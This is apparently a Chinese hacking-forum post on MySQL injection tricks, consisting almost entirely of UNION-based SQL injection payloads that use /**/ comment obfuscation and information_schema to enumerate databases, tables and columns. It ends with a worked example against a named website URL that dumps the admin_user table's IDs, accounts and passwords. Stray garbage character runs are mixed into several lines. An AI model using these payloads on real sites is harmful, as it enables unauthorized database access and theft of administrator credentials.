mysql注入技巧

admin

查库
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id=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

8 q/ O' v. X6 l7 F! C查表
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; k% j# g: J0 v( C9 Did=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
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' r; u" ~' e; ]' S查段
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( j7 e) Y% ^- |id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
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mysql5高级注入方法暴表
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5 R* A9 h, x0 F1 H2 q1 B例子如下:
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http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
这样爆到第4个时出现了admin_user表。
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2.暴字段
0 P8 w7 V: F- X6 xhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
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( C$ D3 H$ J; x7 u! V3.爆密码
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*

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